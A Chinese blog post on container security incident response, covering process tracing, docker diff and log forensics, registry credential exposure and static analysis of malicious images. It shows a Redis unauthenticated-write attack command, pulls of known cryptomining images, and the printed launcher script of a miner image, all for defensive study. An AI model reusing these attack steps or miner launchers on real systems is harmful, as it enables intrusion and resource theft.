容器安全事件排查与响应

admin 2022年3月29日23:07:32评论56 views字数 9981阅读33分16秒阅读模式


声明

本文为笔者对实际容器安全事件的归纳,仅代表个人观点。


文末为容器安全事件排查与响应思维导图。


引子


定位初始入侵位置


首先要确认入侵是否发生在容器内,或者说只在容器内。


场景:zabbix告警一个进程占用非常高,像是挖矿程序/DOS了。


但是查看进程的PPID却发现是systemd,这种情况大概率是容器相关了。


首先获取程序PID,然后查看对应进程的进程树是否父进程为containerd-shim。


容器安全事件排查与响应


上图比较清晰的介绍了各项之间的逻辑关系,不同docker版本有些区别,具体视情况决定。


以docker为例,可以通过如下方式确认宿主机内的docker进程及对应的容器名。


for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done


需要提醒的是,在生产环境可能有些输出进程号为0,这种不是真的PID为0,是此刻容器处于restarting状态。


了解环境基本信息


定位到对应的容器后,需要检查该容器的一些基本信息。


检查容器对外开放端口,是否有根据经验即可判断的风险。


docker ps #当前运行的容器、创建时间、运行状态、映射的端口


检查宿主机docker环境,比如是否docker deamon api对外开放,还是有很多运维因为种种原因可能做出这类配置的。


常见的容器逃逸checklist:

  • 是否挂载了敏感目录

  • 是否是特权容器

  • 宿主机内核版本是否在常见的逃逸漏洞影响范围

  • ......


最后检查对应镜像的运行命令,不过多数都是docker-entrypoint.sh,最好有容器管理员侧的配合。


再次确认容器在宿主机的PID

docker inspect -f '{{.State.Pid}}' <容器ID>


最后是确定当前节点使用的镜像仓库,如果使用公网仓库则需要排查是否存在被恶意拉取可能性,关于这点将在后面章节继续。


容器分析


保存容器现场


如果需要进行取证就应该先暂停处置等工作,第一步是确保现场的完整性。


docker commmit <容器ID>docker checkpoint #需要开启实验性功能


因为一般跑容器的宿主机都是大内存机器,所以保存机器内存快照其实并不怎么方便。


场景:这里以常见的redis容器空口令导致redis被写入私钥为例。


环境搭建:使用vulhub环境模拟。


使用redis-cli连接空口令的redis,并在tmp目录写入名为hack的文件。


config set dir /tmpset shell hackedconfig set dbfilename hacksaveexit


容器的变更


入侵者在入侵容器后,做了什么变更,这个是比较关键的信息。


docker diff <容器ID>
C /tmpA /tmp/hack


类型解释如下:


| A | 添加了文件或目录 |
| --- | --- |
| D | 文件或目录被删除 |
| C | 文件或目录已更改 |


查看文件时间(常见的容器基础镜像都不带ll命令)

$ docker exec -i <容器ID> ls /tmp -altotal 8drwxrwxrwt 1 root  root   31 Mar  6 02:46 .drwxr-xr-x 1 root  root   17 Mar  6 02:24 ..-rw-r--r-- 1 redis redis 112 Mar  6 02:24 hack


不过生产环境噪音肯定非常大,需要一定安全知识、其他信息进行过滤。


深入容器基本信息


docker info #docker引擎的相关信息docker inspect -f  <container id> docker inspect --format="{{json .Mounts}}" <容器ID> | jq #目录在宿主机的具体挂载位置docker inspect --format="{{json .NetworkSettings}}" <容器ID> | jq #查看网络信息docker inspect 80d15c023c6d | grep com.docker.compose #查看docker-compose路径、镜像、


容器日志分析


docker logs 所收集的日志是只包含标准输出(STDOUT)与标准错误输出(STDERR),所以粒度可能是不够的。而且容器一旦重启,docker log便会丢失。


许多知名项目在移植到docker时,也考虑到了这点,以nginx的Dockerfile为例,就是直接将access.log和error.log 软链接到stdout和stderr。


ln -sf /dev/stdout /var/log/nginx/access.logln -sf /dev/stderr /var/log/nginx/error.log 


2017年,Matt Stine在接受InfoQ采访时将Observability(可观测性)归纳为云原生的特征。在目前的CNCF中,可观测性体系的产品主要分为Monitoring监控、Logging日志 、Tracing调用链。


因此如果有外部日志服务器,那么直接到日志服务器进行检索即可,可能有更多的数据源、更专业的检索工具,可以更好的分析安全事件。本文主要讨论关于没有持久化日志的情况。


继续分析上面的场景

docker logs <容器ID>
1:C 06 Mar 02:24:04.043 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo1:C 06 Mar 02:24:04.043 # Redis version=4.0.14, bits=64, commit=00000000, modified=0, pid=1, just started1:C 06 Mar 02:24:04.043 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf1:M 06 Mar 02:24:04.044 * Running mode=standalone, port=6379.1:M 06 Mar 02:24:04.044 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 06 Mar 02:24:04.044 # Server initialized1:M 06 Mar 02:24:04.044 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 06 Mar 02:24:04.044 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issueswith Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 06 Mar 02:24:04.044 * Ready to accept connections1:M 06 Mar 02:24:33.332 * DB saved on disk


可以看到在06 Mar 02:24:33保存了一个DB


结合容器变更信息中,tmp目录下的文件时间,可以判断出该容器是在06 Mar 02:24被入侵,但是这个时间不完全对,因为容器的时区没有设置,date命令可以看到使用的是UTC时区。


$docker exec -i <容器ID> dateSun Mar  6 02:30:08 UTC 2022


因为容器启动时未配置时区,默认会使用UTC。


因为是UTC时区,所以就需要将时间+8小时即Mar 6 10:30:08。


其他安全设备日志


这点不多谈,容器技术在设计时考虑了很多安全性,但是基础的安全建设、设备还是需要的。


需要注意的是厂商有无容器安全案例?对于K8S等环境,POD、Node间东西向的流量是否能收集?


镜像分析


假如容器是因为被投毒,所以造成的失陷,可以通过以下方式排查。当然,如果发生了项目文件泄露也可以分析镜像排查,比如是否有.git等。


首选确定是否使用了docker-compose构建?如果使用,docker-compose.yml文件内容是哪些?


直接使用docker inspect ,就可以看到docker-compose的路径。


$docker inspect <容器ID> | grep com.docker.compose


镜像仓库


首先确定容器使用的镜像:是否使用了镜像仓库,除了直接问机器管理员还可以自己摸索(这点在攻击者角度也是一样的),直接通过docker info 命令查看即可。


不过,同样需要关注的是镜像仓库的凭据。和其他Linux软件一样,secret一般都在用户的环境变量。


如$HOME/.docker/config.json,甚至openshift都可以通过该文件创建secret(也可以自定义的,参数是--config,且优先级更高)。


$oc create secret generic dockerhub     --from-file=.dockerconfigjson=<path/to/.docker/config.json>     --type=kubernetes.io/dockerconfigjson


回归主线,查看以下json文件

$cat /root/.docker/config.json


192.168.xxxx.xxx:8888即是仓库对应的IP:ort

{        "auths": {                "192.168.xxxx.xxx:8888": {                        "auth": "YWRtaW46SGFyYm9yMTIzNDU="                }        }}


这里auth的value就是用户名:密码,可以直接base64解码。


$echo "YWRtaW46SGFyYm9yMTIzNDU=" | base64 -dadmin:Harbor12345


除了其他机器失陷,导致镜像仓库凭据泄露,进而导致镜像被恶意拉取。当然也可能是harbor项目配置不当,比如配置成了public项目、registry错误配置或利用了harbor漏洞...


镜像扫描


新版本的docker已经和synk合作提供镜像扫描服务,当然也可以使用一些开源的镜像扫描工具比如Trivy、Clair,或者是镜像仓库扫描器,比如新版本harbor就是默认集成了,其他的商业容器安全平台一般也有Adapter集成harbor用于扫描。


在扫描过程中可以发现一些应用漏洞(需要排除大量误报)+配置错误。


镜像分析


在确保基础镜像的安全性后,分析镜像主要有两点:提取出镜像的构建过程和镜像构建过程中引用的文件。


场景模拟:dockerhub上的一个挖矿镜像


docker pull hsww/xmrig-centos7:v6.12.2


镜像的构建过程


使用docker history

docker history --no-trunc hsww/xmrig-centos7:v6.12.2


效果如下,其实有点难理解,但是优点是有时间等信息。

IMAGE                                                                     CREATED         CREATED BY                           SIZE      COMMENTsha256:3960a79adeabfa493f9fb8e183808d291d48f01ed56218f8d3364518d2cd302a   9 months ago    /bin/sh -c #(nop)  ENTRYPOINT ["/usr/bin/xmrig"]                           0B<missing>                                                                 9 months ago    /bin/sh -c #(nop) COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin                           7.69MB<missing>                                                                 15 months ago   /bin/sh -c #(nop)  CMD ["/bin/bash"]                           0B<missing>                                                                 15 months ago   /bin/sh -c #(nop)  LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00   0B<missing>                                                                 15 months ago   /bin/sh -c #(nop) ADD file:b3ebbe8bd304723d43b7b44a6d990cd657b63d93d6a2a9293983a30bfc1dfa53 in /                           204MB


使用dfimage工具

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"dfimage -sV=1.36 hsww/xmrig-centos7:v6.12.2


提取出的信息如下

LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00CMD ["/bin/bash"]COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin  usr/  usr/bin/  usr/bin/xmrig
ENTRYPOINT ["/usr/bin/xmrig"]


然后把/usr/bin/xmrig文件复制出来分析即可

/usr/bin/xmrigdocker inspect  hsww/xmrig-centos7:v6.12.2 #查看UpperDir目录,直接复制其中内容即可docker inspect --format='{{.GraphDriver.Data.UpperDir}}' hsww/xmrig-centos7:v6.12.2


因为我这里使用的是默认的overlay2驱动,可以通过docker info查看当前使用的docker 存储驱动。


最下层是lower层,是只读/镜像层。


upper是容器的读写层,采用了CoW(写时复制)机制,只有对文件进行修改才会将文件拷贝到upper层,之后所有的修改操作都会对upper层的副本进行修改。


upper并列还有workdir层,它的作用是充当一个中间层的作用,每当对upper层里面的副本进行修改时,会先当到workdir,然后再从workdir移动upper层。


最上层是mergedir,是一个统一图层,从mergedir可以看到lower,upper,workdir中所有数据的整合,整个容器展现出来的就是mergedir层。


$tree -l.└── usr    └── bin        └── xmrig


构建引用的文件


这里使用dockerhub上的docker72590/apache:latest进行分析,这个镜像也是一个知名的恶意镜像。


dfimage -sV=1.36 docker72590/apache:latest


解析出的Dockerfile文件为

CMD ["/bin/sh"]/bin/shWORKDIR /homeCMD ["sh" "-c" "./.system    && tail -f /dev/null"]


可以看到其中的关键是/home/.system文件

docker inspect --format='{{.GraphDriver.Data.UpperDir}}' docker72590/apache:latest


但是目录下没有,可能在基础镜像时已经包含了这个内容,所以得看LowerDir。


$docker inspect --format='{{.GraphDriver.Data.LowerDir}}' docker72590/apache:latest/var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff:/var/lib/docker/overlay2/79107e83796cd78d7477d8e0dec22dc363eb56e966d7a49e64858bf5937227e5/diffcd /var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff$tree -a.├── bin│   ├── apache2│   ├── httpd│   └── httpd-crypto├── home│   └── .system├── usr│   └── share│       └── .apache│           └── ...│               ├── apache4│               ├── .dat│               ├── httpd│               ├── .httpd5.pid│               └── .httpd6.pid└── var    └── tmp        ├── .apache        │   └── ...        │       └── httpd        └── .crypto            └── ...                ├── .ddns                ├── .ddns.pid                ├── httpd-crypto                └── .stop.sh


所以在这里无法显示,也可以通过dive查看镜像构建过程引用的文件。


docker pull wagoodman/dive #拉取dive镜像docker run --rm -it     -v /var/run/docker.sock:/var/run/docker.sock     wagoodman/dive:latest  docker72590/apache:latest
容器安全事件排查与响应


注意这里的层ID

提取镜像

docker save docker72590/apache:latest -o apache.bin


使用binwalk进行提取,其实也可以直接解压,这里我直接解压

docker save docker72590/apache:latest -o apache.tarmkdir apache/tar xvf  apache.tar -C apache/


根据dive的信息,直接看对应的一层,找到.system,有个经验技巧就是镜像第一层会在最上面。


$ls a40defa7c3de20011509b2acfc6d12137efcf033df032bc34c67f04582c88a53/home -alhtotal 4.0Kdrwxr-xr-x. 2 root root  21 Dec  6 16:57 .drwxr-xr-x. 6 root root  95 Mar  6 03:22 ..-rwxr-xr-x. 1 1000 1000 466 Nov 23 11:33 .system


因为启动方式是sh启动,所以可以查看文件内容。


#/bin/bashexport LC_ALL=C.UTF-8export LANG=C.UTF-8 export DOCKER_API_VERSION=1.24

ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/nullif [ $? != 0 ];then    sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories  fi mkdir -p /var/tmp/.apache/...
apk updateapk add redis docker jq libpcap-dev openrc curl --no-cache
cd /var/tmp/.crypto/..../httpd-crypto
cd /var/tmp/.apache/..../httpd
cd /usr/share/.apache/...sleep 60./httpd


这里就不继续分析了。


处置手段


处置第一步应该是下线相关应用/修复应用风险,而不是这些措施,不过有时候有用。


比如K8S的Cluster Autoscaler和Horizontal Pod Autoscaler等功能,假如频繁性的在一个node上阻断操作,master可能判定该node异常,因此将pod调度到其他节点,这种情况甚至可能对于攻击者毫无感知,同样的exp打过来效果可能都是一样的。


但是对于防御者来说,大大增加了处置成本,即不停的在不同node进行处置,而且需要K8S管理员频繁配合,确定POD调度的node。


下面提到的方式主要是短时止血的思路,需要结合应用部署实施的实际情况决定。


暂停容器

docker pause <容器ID> docker unpause <容器ID> #取消暂停容器


删除容器,除非迫不得已

docker rm -f <容器ID>


小结

容器安全事件排查与响应



【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

容器安全事件排查与响应
容器安全事件排查与响应


【火线zone社区周激励】

2022.3.7 ~ 2022.3.13公告

容器安全事件排查与响应


【相关精选文章】

容器安全事件排查与响应
容器安全事件排查与响应
容器安全事件排查与响应


容器安全事件排查与响应


火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!


如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)

容器安全事件排查与响应

 微信号 

huoxian_zone

容器安全事件排查与响应

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):容器安全事件排查与响应

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月29日23:07:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   容器安全事件排查与响应https://cn-sec.com/archives/852480.html

发表评论

匿名网友 填写信息